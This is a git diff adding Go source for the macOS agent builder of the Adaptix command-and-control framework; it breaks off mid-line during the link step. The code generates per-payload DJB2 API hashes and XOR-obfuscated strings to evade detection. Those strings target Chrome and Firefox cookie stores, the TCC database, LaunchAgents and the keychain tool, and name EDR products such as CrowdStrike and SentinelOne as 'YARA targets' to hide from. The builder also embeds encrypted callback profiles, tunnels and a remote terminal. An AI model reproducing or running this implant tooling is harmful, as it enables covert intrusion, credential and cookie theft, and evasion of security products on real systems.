a/AdaptixServer/extenders/macos_agent/pl_hashes_macos.go b/AdaptixServer/extenders/macos_agent/pl_hashes_macos.go new file mode 100644 index 00000000..40e993d2 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/pl_hashes_macos.go @@ -0,0 +1,327 @@ +package main + +import ( + "crypto/rand" + "encoding/binary" + "fmt" + "strings" +) + +// cryptoRandUint32 returns a cryptographically random uint32. +func cryptoRandUint32() uint32 { + var buf [4]byte + _, _ = rand.Read(buf[:]) + return binary.LittleEndian.Uint32(buf[:]) +} + +// djb2Hash computes a case-insensitive DJB2 hash (same as beacon's djb2a). +// Must match the C implementation in dyld_resolve.c exactly. +func djb2Hash(seed uint32, s string) uint32 { + h := seed + for _, c := range strings.ToLower(s) { + h = ((h << 5) + h) + uint32(c) + } + return h +} + +// macOS dylib entries — the libraries whose APIs we resolve by hash +var macosLibs = []struct { + define string + libName string +}{ + {"HASH_LIB_LIBSYSTEM", "libSystem.B.dylib"}, + {"HASH_LIB_LIBSYSTEM_C", "libsystem_c.dylib"}, + {"HASH_LIB_LIBSYSTEM_KERNEL", "libsystem_kernel.dylib"}, + {"HASH_LIB_LIBSYSTEM_PTHREAD", "libsystem_pthread.dylib"}, + {"HASH_LIB_COREFOUNDATION", "CoreFoundation"}, + {"HASH_LIB_SECURITY", "Security"}, + {"HASH_LIB_COREGRAPHICS", "CoreGraphics"}, +} + +// macOS function entries — organized by category +var macosFuncSections = []struct { + comment string + funcs []struct { + define string + name string + } +}{ + { + "// ── File I/O ──", + []struct{ define, name string }{ + {"HASH_FUNC_OPEN", "open"}, + {"HASH_FUNC_CLOSE", "close"}, + {"HASH_FUNC_READ", "read"}, + {"HASH_FUNC_WRITE", "write"}, + {"HASH_FUNC_STAT", "stat"}, + {"HASH_FUNC_FSTAT", "fstat"}, + {"HASH_FUNC_UNLINK", "unlink"}, + {"HASH_FUNC_RENAME", "rename"}, + {"HASH_FUNC_MKDIR", "mkdir"}, + {"HASH_FUNC_OPENDIR", "opendir"}, + {"HASH_FUNC_READDIR", "readdir"}, + {"HASH_FUNC_CLOSEDIR", "closedir"}, + {"HASH_FUNC_GETCWD", "getcwd"}, + {"HASH_FUNC_CHDIR", "chdir"}, + {"HASH_FUNC_COPYFILE", "copyfile"}, + {"HASH_FUNC_RMDIR", "rmdir"}, + {"HASH_FUNC_REWINDDIR", "rewinddir"}, + }, + }, + { + "// ── Memory ──", + []struct{ define, name string }{ + {"HASH_FUNC_MMAP", "mmap"}, + {"HASH_FUNC_MUNMAP", "munmap"}, + {"HASH_FUNC_MPROTECT", "mprotect"}, + }, + }, + { + "// ── Process ──", + []struct{ define, name string }{ + {"HASH_FUNC_FORK", "fork"}, + {"HASH_FUNC_EXECVE", "execve"}, + {"HASH_FUNC_EXECVP", "execvp"}, + {"HASH_FUNC_EXECL", "execl"}, + {"HASH_FUNC_EXECLP", "execlp"}, + {"HASH_FUNC_WAITPID", "waitpid"}, + {"HASH_FUNC_GETPID", "getpid"}, + {"HASH_FUNC_GETUID", "getuid"}, + {"HASH_FUNC_GETEUID", "geteuid"}, + {"HASH_FUNC_KILL", "kill"}, + {"HASH_FUNC_KILLPG", "killpg"}, + {"HASH_FUNC_SETSID", "setsid"}, + {"HASH_FUNC_SETPGID", "setpgid"}, + {"HASH_FUNC_EXIT", "_exit"}, + }, + }, + { + "// ── Network ──", + []struct{ define, name string }{ + {"HASH_FUNC_SOCKET", "socket"}, + {"HASH_FUNC_CONNECT", "connect"}, + {"HASH_FUNC_GETADDRINFO", "getaddrinfo"}, + {"HASH_FUNC_FREEADDRINFO", "freeaddrinfo"}, + {"HASH_FUNC_GETHOSTNAME", "gethostname"}, + {"HASH_FUNC_GETSOCKOPT", "getsockopt"}, + {"HASH_FUNC_SETSOCKOPT", "setsockopt"}, + {"HASH_FUNC_SELECT", "select"}, + }, + }, + { + "// ── System ──", + []struct{ define, name string }{ + {"HASH_FUNC_SYSCTL", "sysctl"}, + {"HASH_FUNC_SYSCTLBYNAME", "sysctlbyname"}, + {"HASH_FUNC_GETENV", "getenv"}, + {"HASH_FUNC_SETENV", "setenv"}, + {"HASH_FUNC_SLEEP", "sleep"}, + {"HASH_FUNC_USLEEP", "usleep"}, + }, + }, + { + "// ── Pipes & PTY ──", + []struct{ define, name string }{ + {"HASH_FUNC_PIPE", "pipe"}, + {"HASH_FUNC_DUP2", "dup2"}, + {"HASH_FUNC_FCNTL", "fcntl"}, + {"HASH_FUNC_POSIX_OPENPT", "posix_openpt"}, + {"HASH_FUNC_GRANTPT", "grantpt"}, + {"HASH_FUNC_UNLOCKPT", "unlockpt"}, + {"HASH_FUNC_PTSNAME", "ptsname"}, + {"HASH_FUNC_IOCTL", "ioctl"}, + }, + }, + { + "// ── Threading ──", + []struct{ define, name string }{ + {"HASH_FUNC_PTHREAD_CREATE", "pthread_create"}, + {"HASH_FUNC_PTHREAD_DETACH", "pthread_detach"}, + {"HASH_FUNC_PTHREAD_MUTEX_INIT", "pthread_mutex_init"}, + {"HASH_FUNC_PTHREAD_MUTEX_LOCK", "pthread_mutex_lock"}, + {"HASH_FUNC_PTHREAD_MUTEX_UNLOCK", "pthread_mutex_unlock"}, + }, + }, + { + "// ── Crypto/Random ──", + []struct{ define, name string }{ + {"HASH_FUNC_ARC4RANDOM_BUF", "arc4random_buf"}, + }, + }, + { + "// ── String/Misc ──", + []struct{ define, name string }{ + {"HASH_FUNC_DLOPEN", "dlopen"}, + {"HASH_FUNC_DLSYM", "dlsym"}, + {"HASH_FUNC_DLCLOSE", "dlclose"}, + }, + }, + { + "// ── macOS-specific ──", + []struct{ define, name string }{ + {"HASH_FUNC_GETPWUID", "getpwuid"}, + {"HASH_FUNC_GETGRGID", "getgrgid"}, + {"HASH_FUNC_GETIFADDRS", "getifaddrs"}, + {"HASH_FUNC_FREEIFADDRS", "freeifaddrs"}, + {"HASH_FUNC_INET_NTOP", "inet_ntop"}, + {"HASH_FUNC_LOCALTIME", "localtime"}, + {"HASH_FUNC_STRFTIME", "strftime"}, + {"HASH_FUNC_GETSOCKOPT", "getsockopt"}, + {"HASH_FUNC_SETSOCKOPT", "setsockopt"}, + }, + }, +} + +// Sensitive strings that should be XOR-encoded per-payload +var obfuscatedStrings = []struct { + define string + value string +}{ + {"OBF_SCREENCAPTURE", "/usr/sbin/screencapture"}, + {"OBF_PBPASTE", "/usr/bin/pbpaste"}, + {"OBF_LAUNCHCTL", "/bin/launchctl"}, + {"OBF_SECURITY_BIN", "/usr/bin/security"}, + {"OBF_DEFAULTS", "/usr/bin/defaults"}, + {"OBF_SQLITE3", "/usr/bin/sqlite3"}, + {"OBF_PS", "/bin/ps"}, + {"OBF_RM", "/bin/rm"}, + {"OBF_DITTO", "/usr/bin/ditto"}, + {"OBF_SH", "/bin/sh"}, + {"OBF_BASH", "/bin/bash"}, + {"OBF_ZSH", "/bin/zsh"}, + {"OBF_DEV_URANDOM", "/dev/urandom"}, + {"OBF_TCC_DB", "/Library/Application Support/com.apple.TCC/TCC.db"}, + {"OBF_CHROME_COOKIES", "Library/Application Support/Google/Chrome/Default/Cookies"}, + {"OBF_FIREFOX_COOKIES", "Library/Application Support/Firefox/Profiles"}, + {"OBF_LAUNCH_AGENTS", "Library/LaunchAgents"}, + {"OBF_LAUNCH_DAEMONS", "/Library/LaunchDaemons"}, + {"OBF_LS", "/bin/ls"}, + {"OBF_TMP", "/tmp"}, + {"OBF_SYSVER_PLIST", "/System/Library/CoreServices/SystemVersion.plist"}, + {"OBF_CHROME_DEFAULT", "Library/Application Support/Google/Chrome/Default/"}, + + // EDR product paths — critical YARA targets + {"OBF_EDR_CS_FALCONCTL", "/Library/CS/falconctl"}, + {"OBF_EDR_CS_FALCON", "/Library/Application Support/com.crowdstrike.falcon"}, + {"OBF_EDR_ADDIGY", "/Library/Addigy/auditor"}, + {"OBF_EDR_MALWAREBYTES", "/Library/Application Support/Malwarebytes"}, + {"OBF_EDR_JAMF", "/Library/Application Support/JAMF"}, + {"OBF_EDR_S1_APP", "/Applications/SentinelOne/SentinelAgent.app"}, + {"OBF_EDR_S1_LIB", "/Library/Sentinel/sentinel-agent.bundle"}, + {"OBF_EDR_ES_KEXT", "/Library/Extensions/EndpointSecurity.kext"}, + {"OBF_EDR_SOPHOS", "/Library/Application Support/Sophos"}, + {"OBF_EDR_ELASTIC", "/Library/Application Support/com.elastic.endpoint"}, + {"OBF_EDR_BLOCKBLOCK", "/Applications/BlockBlock Helper.app"}, + {"OBF_EDR_LULU", "/Applications/LuLu.app"}, + {"OBF_EDR_KNOCKKNOCK", "/Applications/KnockKnock.app"}, + {"OBF_EDR_REIKEY", "/Applications/ReiKey.app"}, + {"OBF_EDR_XPROTECT", "/Library/Apple/System/Library/Extensions/AppleHV.kext"}, +} + +// generateObfStrings generates a strings_obf.h with XOR-encoded sensitive strings. +func generateObfStrings() string { + key := make([]byte, 16) + _, _ = rand.Read(key) + + var b strings.Builder + b.WriteString("#pragma once\n\n") + b.WriteString("// Auto-generated — per-payload XOR-obfuscated strings\n\n") + b.WriteString("#include \n\n") + + // Write XOR key defines + for i := 0; i < 16; i++ { + b.WriteString(fmt.Sprintf("#define XOR_KEY_%d 0x%02x\n", i, key[i])) + } + b.WriteString("\n") + + // XOR key array + b.WriteString("static const uint8_t _xor_key[16] = {\n ") + for i := 0; i < 16; i++ { + b.WriteString(fmt.Sprintf("XOR_KEY_%d", i)) + if i < 15 { + b.WriteString(", ") + } + if i == 7 { + b.WriteString("\n ") + } + } + b.WriteString("\n};\n\n") + + // xor_decode function + macros + b.WriteString(`static inline void xor_decode(char* buf, const uint8_t* enc, int len) { + for (int i = 0; i < len; i++) { + buf[i] = (char)(enc[i] ^ _xor_key[i % 16]); + } + buf[len] = '\0'; +} + +#define DEOBF(var_name, obf_array) \ + char var_name[sizeof(obf_array)]; \ + xor_decode(var_name, obf_array, sizeof(obf_array) - 1) + +#define ZERO_STR(var_name, obf_array) do { \ + volatile char* _p = (volatile char*)(var_name); \ + for (unsigned _i = 0; _i < sizeof(obf_array); _i++) _p[_i] = 0; \ +} while(0) + +`) + + for _, entry := range obfuscatedStrings { + data := []byte(entry.value) + b.WriteString(fmt.Sprintf("// \"%s\" (%d bytes)\n", entry.value, len(data))) + b.WriteString(fmt.Sprintf("static const uint8_t %s[] = {\n ", entry.define)) + for i, ch := range data { + enc := ch ^ key[i%16] + if i > 0 && i%12 == 0 { + b.WriteString("\n ") + } + b.WriteString(fmt.Sprintf("0x%02x", enc)) + if i < len(data)-1 { + b.WriteString(", ") + } + } + // XOR'd null terminator + nullEnc := byte(0) ^ key[len(data)%16] + b.WriteString(fmt.Sprintf(", 0x%02x", nullEnc)) + b.WriteString("\n};\n\n") + } + + return b.String() +} + +// generateMacosApiDefines generates the ApiDefines.h content for macOS +// with DJB2 hashes computed using the given random seed. +func generateMacosApiDefines(seed uint32) string { + var b strings.Builder + b.WriteString("#pragma once\n\n") + b.WriteString("// Auto-generated — per-payload DJB2 hashes\n") + b.WriteString(fmt.Sprintf("// Seed: 0x%08x\n\n", seed)) + + // Library hashes + b.WriteString("// ── Library hashes (dylib basenames) ──\n") + for _, lib := range macosLibs { + h := djb2Hash(seed, lib.libName) + pad := 40 - len(lib.define) + if pad < 1 { + pad = 1 + } + b.WriteString(fmt.Sprintf("#define %s%s0x%xU\n", lib.define, strings.Repeat(" ", pad), h)) + } + b.WriteString("\n") + + // Function hashes + for _, section := range macosFuncSections { + b.WriteString(section.comment + "\n") + for _, entry := range section.funcs { + h := djb2Hash(seed, entry.name) + pad := 40 - len(entry.define) + if pad < 1 { + pad = 1 + } + b.WriteString(fmt.Sprintf("#define %s%s0x%xU\n", entry.define, strings.Repeat(" ", pad), h)) + } + b.WriteString("\n") + } + + return b.String() +} diff --git a/AdaptixServer/extenders/macos_agent/pl_main.go b/AdaptixServer/extenders/macos_agent/pl_main.go new file mode 100644 index 00000000..8d516c33 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/pl_main.go @@ -0,0 +1,1876 @@ +package main + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/base64" + "encoding/binary" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "io" + mrand "math/rand/v2" + "os" + "strconv" + "strings" + "time" + + "github.com/Adaptix-Framework/axc2" + "github.com/google/shlex" + "github.com/vmihailenco/msgpack/v5" +) + +type Teamserver interface { + TsListenerInteralHandler(watermark string, data []byte) (string, error) + + TsAgentProcessData(agentId string, bodyData []byte) error + + TsAgentUpdateData(newAgentData adaptix.AgentData) error + TsAgentTerminate(agentId string, terminateTaskId string) error + TsAgentUpdateDataPartial(agentId string, updateData interface{}) error + + TsAgentBuildExecute(builderId string, workingDir string, program string, args ...string) error + TsAgentBuildLog(builderId string, status int, message string) error + + TsAgentConsoleOutput(agentId string, messageType int, message string, clearText string, store bool) + + TsPivotCreate(pivotId string, pAgentId string, chAgentId string, pivotName string, isRestore bool) error + TsGetPivotInfoByName(pivotName string) (string, string, string) + TsGetPivotInfoById(pivotId string) (string, string, string) + TsPivotDelete(pivotId string) error + + TsTaskCreate(agentId string, cmdline string, client string, taskData adaptix.TaskData) + TsTaskUpdate(agentId string, data adaptix.TaskData) + TsTaskGetAvailableAll(agentId string, availableSize int) ([]adaptix.TaskData, error) + + TsDownloadAdd(agentId string, fileId string, fileName string, fileSize int64) error + TsDownloadUpdate(fileId string, state int, data []byte) error + TsDownloadClose(fileId string, reason int) error + TsDownloadSave(agentId string, fileId string, filename string, content []byte) error + + TsScreenshotAdd(agentId string, Note string, Content []byte) error + + TsClientGuiDisksWindows(taskData adaptix.TaskData, drives []adaptix.ListingDrivesDataWin) + TsClientGuiFilesStatus(taskData adaptix.TaskData) + TsClientGuiFilesWindows(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataWin) + TsClientGuiFilesUnix(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataUnix) + TsClientGuiProcessWindows(taskData adaptix.TaskData, process []adaptix.ListingProcessDataWin) + TsClientGuiProcessUnix(taskData adaptix.TaskData, process []adaptix.ListingProcessDataUnix) + + TsTunnelStart(TunnelId string) (string, error) + TsTunnelCreateSocks4(AgentId string, Info string, Lhost string, Lport int) (string, error) + TsTunnelCreateSocks5(AgentId string, Info string, Lhost string, Lport int, UseAuth bool, Username string, Password string) (string, error) + TsTunnelCreateLportfwd(AgentId string, Info string, Lhost string, Lport int, Thost string, Tport int) (string, error) + TsTunnelCreateRportfwd(AgentId string, Info string, Lport int, Thost string, Tport int) (string, error) + TsTunnelUpdateRportfwd(tunnelId int, result bool) (string, string, error) + + TsTunnelStopSocks(AgentId string, Port int) + TsTunnelStopLportfwd(AgentId string, Port int) + TsTunnelStopRportfwd(AgentId string, Port int) + + TsTunnelConnectionClose(channelId int, writeOnly bool) + TsTunnelConnectionHalt(channelId int, errorCode byte) + TsTunnelConnectionResume(AgentId string, channelId int, ioDirect bool) + TsTunnelConnectionData(channelId int, data []byte) + TsTunnelConnectionAccept(tunnelId int, channelId int) + TsTunnelPause(channelId int) + TsTunnelResume(channelId int) + + TsTerminalConnExists(terminalId string) bool + TsTerminalGetPipe(AgentId string, terminalId string) (*io.PipeReader, *io.PipeWriter, error) + TsTerminalConnResume(agentId string, terminalId string, ioDirect bool) + TsTerminalConnData(terminalId string, data []byte) + TsTerminalConnClose(terminalId string, status string) error + + TsConvertCpToUTF8(input string, codePage int) string + TsConvertUTF8toCp(input string, codePage int) string + TsWin32Error(errorCode uint) string +} + +type PluginAgent struct{} + +type ExtenderAgent struct{} + +var ( + Ts Teamserver + ModuleDir string + AgentWatermark string +) + +func InitPlugin(ts any, moduleDir string, watermark string) adaptix.PluginAgent { + ModuleDir = moduleDir + AgentWatermark = watermark + Ts = ts.(Teamserver) + return &PluginAgent{} +} + +func (p *PluginAgent) GetExtender() adaptix.ExtenderAgent { + return &ExtenderAgent{} +} + +func makeProxyTask(packData []byte) adaptix.TaskData { + return adaptix.TaskData{Type: adaptix.TASK_TYPE_PROXY_DATA, Data: packData, Sync: false} +} + +func getStringArg(args map[string]any, key string) (string, error) { + v, ok := args[key].(string) + if !ok { + return "", fmt.Errorf("parameter '%s' must be set", key) + } + return v, nil +} + +func getFloatArg(args map[string]any, key string) (float64, error) { + v, ok := args[key].(float64) + if !ok { + return 0, fmt.Errorf("parameter '%s' must be set", key) + } + return v, nil +} + +func getBoolArg(args map[string]any, key string) bool { + v, _ := args[key].(bool) + return v +} + +/// TUNNEL + +func (ext *ExtenderAgent) TunnelCallbacks() adaptix.TunnelCallbacks { + return adaptix.TunnelCallbacks{ + ConnectTCP: TunnelMessageConnectTCP, + ConnectUDP: TunnelMessageConnectUDP, + WriteTCP: TunnelMessageWriteTCP, + WriteUDP: TunnelMessageWriteUDP, + Close: TunnelMessageClose, + Reverse: TunnelMessageReverse, + Pause: TunnelMessagePause, + Resume: TunnelMessageResume, + } +} + +func TunnelMessageConnectTCP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData { + var packData []byte + addr := fmt.Sprintf("%s:%d", address, port) + packerData, _ := msgpack.Marshal(ParamsTunnelStart{Proto: "tcp", ChannelId: channelId, Address: addr}) + cmd := Command{Code: COMMAND_TUNNEL_START, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageConnectUDP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData { + var packData []byte + addr := fmt.Sprintf("%s:%d", address, port) + packerData, _ := msgpack.Marshal(ParamsTunnelStart{Proto: "udp", ChannelId: channelId, Address: addr}) + cmd := Command{Code: COMMAND_TUNNEL_START, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageWriteTCP(channelId int, data []byte) adaptix.TaskData { + return makeProxyTask(data) +} + +func TunnelMessageWriteUDP(channelId int, data []byte) adaptix.TaskData { + return makeProxyTask(data) +} + +func TunnelMessageClose(channelId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTunnelStop{ChannelId: channelId}) + cmd := Command{Code: COMMAND_TUNNEL_STOP, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageReverse(tunnelId int, port int) adaptix.TaskData { + var packData []byte + return makeProxyTask(packData) +} + +func TunnelMessagePause(channelId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTunnelPause{ChannelId: channelId}) + cmd := Command{Code: COMMAND_TUNNEL_PAUSE, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageResume(channelId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTunnelResume{ChannelId: channelId}) + cmd := Command{Code: COMMAND_TUNNEL_RESUME, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +/// TERMINAL + +func (ext *ExtenderAgent) TerminalCallbacks() adaptix.TerminalCallbacks { + return adaptix.TerminalCallbacks{ + Start: TerminalMessageStart, + Write: TerminalMessageWrite, + Close: TerminalMessageClose, + } +} + +func TerminalMessageStart(terminalId int, program string, sizeH int, sizeW int, oemCP int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTerminalStart{TermId: terminalId, Program: program, Height: sizeH, Width: sizeW}) + cmd := Command{Code: COMMAND_TERMINAL_START, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TerminalMessageWrite(terminalId int, oemCP int, data []byte) adaptix.TaskData { + return makeProxyTask(data) +} + +func TerminalMessageClose(terminalId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTerminalStop{TermId: terminalId}) + cmd := Command{Code: COMMAND_TERMINAL_STOP, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +////// PLUGIN AGENT + +type GenerateConfig struct { + Format string `json:"format"` + ReconnectTimeout string `json:"reconn_timeout"` + ReconnectCount int `json:"reconn_count"` +} + +var SrcPath = "src_macos" + +func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, error) { + var agentProfiles [][]byte + + for _, transportProfile := range profile.ListenerProfiles { + + var listenerMap map[string]any + if err := json.Unmarshal(transportProfile.Profile, &listenerMap); err != nil { + return nil, err + } + + var ( + generateConfig GenerateConfig + profileData []byte + ) + + err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig) + if err != nil { + return nil, err + } + + agentWatermark, err := strconv.ParseInt(AgentWatermark, 16, 64) + if err != nil { + return nil, err + } + + encrypt_key, _ := listenerMap["encrypt_key"].(string) + encryptKey, err := hex.DecodeString(encrypt_key) + if err != nil { + return nil, err + } + + reconnectTimeout, err := parseDurationToSeconds(generateConfig.ReconnectTimeout) + if err != nil { + return nil, err + } + + protocol, _ := listenerMap["protocol"].(string) + switch protocol { + + case "tcp": + + tcp_banner, _ := listenerMap["tcp_banner"].(string) + + servers, _ := listenerMap["callback_addresses"].(string) + + servers = strings.ReplaceAll(servers, " ", "") + servers = strings.ReplaceAll(servers, "\n", ",") + servers = strings.TrimSuffix(servers, ",") + addresses := strings.Split(servers, ",") + + var sslKey []byte + var sslCert []byte + var caCert []byte + Ssl, _ := listenerMap["ssl"].(bool) + if Ssl { + ssl_key, _ := listenerMap["client_key"].(string) + sslKey, err = base64.StdEncoding.DecodeString(ssl_key) + if err != nil { + return nil, err + } + + ssl_cert, _ := listenerMap["client_cert"].(string) + sslCert, err = base64.StdEncoding.DecodeString(ssl_cert) + if err != nil { + return nil, err + } + + ca_cert, _ := listenerMap["ca_cert"].(string) + caCert, err = base64.StdEncoding.DecodeString(ca_cert) + if err != nil { + return nil, err + } + } + + profile := Profile{ + Type: uint(agentWatermark), + Addresses: addresses, + BannerSize: len(tcp_banner), + ConnTimeout: reconnectTimeout, + ConnCount: generateConfig.ReconnectCount, + UseSSL: Ssl, + SslCert: sslCert, + SslKey: sslKey, + CaCert: caCert, + } + profileData, _ = msgpack.Marshal(profile) + + default: + return nil, errors.New("protocol unknown") + } + + extHandler := ExtenderAgent{} + profileData, _ = extHandler.Encrypt(profileData, encryptKey) + profileData = append(encryptKey, profileData...) + + profileString := "" + for _, b := range profileData { + profileString += fmt.Sprintf("\\x%02x", b) + } + agentProfiles = append(agentProfiles, []byte(profileString)) + } + return agentProfiles, nil +} + +/// Native C agent build constants +var ( + NativeSrcDir = "src_agent/agent" + NativeCompiler = "aarch64-apple-darwin23.5-clang" + NativeCFlags = "-Os -fno-stack-protector -fno-builtin -Wall -Wextra -Wno-unused-parameter -Wno-unused-function" + NativeLFlags = "-lSystem -framework CoreFoundation" + NativeObjFiles = []string{"crt", "msgpack", "crypt", "connector", "agent_info", "commander", "tasks_fs", "tasks_proc", "tasks_macos", "jobs", "tasks_async", "tasks_net", "dyld_resolve", "opsec"} +) + +func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [][]byte) ([]byte, string, error) { + var ( + Filename string + Payload []byte + ) + + var ( + generateConfig GenerateConfig + buildPath string + ) + + err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig) + if err != nil { + return nil, "", err + } + + currentDir := ModuleDir + tempDir, err := os.MkdirTemp("", "ax-macos-*") + if err != nil { + return nil, "", err + } + + switch generateConfig.Format { + case "Binary Mach-O (Native)": + return p.buildNativePayload(profile, agentProfiles, generateConfig, currentDir, tempDir) + case "Shellcode ARM64 (Native)": + return p.buildNativeShellcode(profile, agentProfiles, generateConfig, currentDir, tempDir) + case "Binary Mach-O": + Filename = "agent.bin" + case "Dylib": + Filename = "agent.dylib" + default: + Filename = "agent.bin" + } + + // ── Go build pipeline (existing) ── + + GoOs := "darwin" + GoArch := "arm64" + + buildPath = tempDir + "/" + Filename + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Target: %s/%s (Apple Silicon), Output: %s", GoOs, GoArch, Filename)) + + // Write embedded profile config + config := "package main\n\nvar encProfiles = [][]byte{\n" + for _, p := range agentProfiles { + config += fmt.Sprintf(" []byte(\"%s\"),\n", p) + } + config += "}\n" + + configPath := currentDir + "/" + SrcPath + "/config.go" + err = os.WriteFile(configPath, []byte(config), 0644) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + + // OPSEC: Per-payload variation — unique XOR key + build nonce + xorKey := make([]byte, 16) + _, _ = rand.Read(xorKey) + buildNonce := make([]byte, 32) + _, _ = rand.Read(buildNonce) + + obfStrings := generateObfuscatedStrings(xorKey, buildNonce) + obfPath := currentDir + "/" + SrcPath + "/utils/strings_obf.go" + err = os.WriteFile(obfPath, []byte(obfStrings), 0644) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("OPSEC: XOR key generated (%s...), strings obfuscated", hex.EncodeToString(xorKey[:4]))) + + LdFlags := "-s -w -buildid=" + GcFlags := "all=-B -C" + cmdBuild := fmt.Sprintf("GOWORK=off CGO_ENABLED=0 GOOS=%s GOARCH=%s go build -trimpath -gcflags=\"%s\" -ldflags=\"%s\" -o %s", GoOs, GoArch, GcFlags, LdFlags, buildPath) + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Starting build process (darwin/arm64)...") + + var buildArgs []string + buildArgs = append(buildArgs, "-c", cmdBuild) + err = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir+"/"+SrcPath, "sh", buildArgs...) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + + Payload, err = os.ReadFile(buildPath) + if err != nil { + return nil, "", err + } + _ = os.RemoveAll(tempDir) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes", len(Payload))) + + return Payload, Filename, nil +} + +/// ── Native C build pipeline (osxcross) ── + +func (p *PluginAgent) buildNativePayload(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string) ([]byte, string, error) { + Filename := "agent_native.bin" + buildPath := tempDir + "/" + Filename + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Target: darwin/arm64 (Native C, Apple Silicon)") + + // srcDir is relative to currentDir (which is used as runner.Dir) + srcDir := NativeSrcDir + + // ── Step 1: Generate config.h with encrypted profile data ── + configContent := generateNativeConfig(agentProfiles) + configPath := tempDir + "/config.h" + if err := os.WriteFile(configPath, []byte(configContent), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write config.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Config: %d profile(s) embedded", len(agentProfiles))) + + // ── Step 1b: Generate per-payload DJB2 seed + ApiDefines.h ── + djb2Seed := cryptoRandUint32() + apiDefinesContent := generateMacosApiDefines(djb2Seed) + apiDefinesPath := tempDir + "/ApiDefines.h" + if err := os.WriteFile(apiDefinesPath, []byte(apiDefinesContent), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write ApiDefines.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x (per-payload polymorphism)", djb2Seed)) + + // ── Step 1c: Generate per-payload XOR-obfuscated strings ── + obfContent := generateObfStrings() + obfPath := tempDir + "/strings_obf.h" + if err := os.WriteFile(obfPath, []byte(obfContent), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write strings_obf.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "XOR string obfuscation generated (per-payload key)") + + // ── Step 2: Build cflags — tempDir first for generated headers ── + cFlags := fmt.Sprintf("%s -I %s -I %s -DDJB2_SEED=%dU", NativeCFlags, tempDir, srcDir, djb2Seed) + + // ── Step 3: Compile each source file ── + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling native agent sources (per-payload)...") + + compileSrc := func(srcFile string, outputName string) error { + outPath := tempDir + "/" + outputName + ".o" + cmdStr := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH %s %s -c %s -o %s", + NativeCompiler, cFlags, srcFile, outPath) + return Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", cmdStr) + } + + // Compile shared object files + for _, ofile := range NativeObjFiles { + if err := compileSrc(srcDir+"/"+ofile+".c", ofile); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile %s: %w", ofile, err) + } + } + + // Compile main.c + if err := compileSrc(srcDir+"/main.c", "main"); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile main: %w", err) + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "All sources compiled successfully") + + // ── Step 4: Link ── + var objectFiles []string + for _, ofile := range NativeObjFiles { + objectFiles = append(objectFiles, tempDir+"/"+ofile+".o") + } + objectFiles = append(objectFiles, tempDir+"/main.o") + + linkCmd := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH %s %s -o %s %s", + NativeCompiler, NativeLFlags, buildPath, strings.Join(objectFiles, " ")) + if err := Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", linkCmd); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("link: %w", 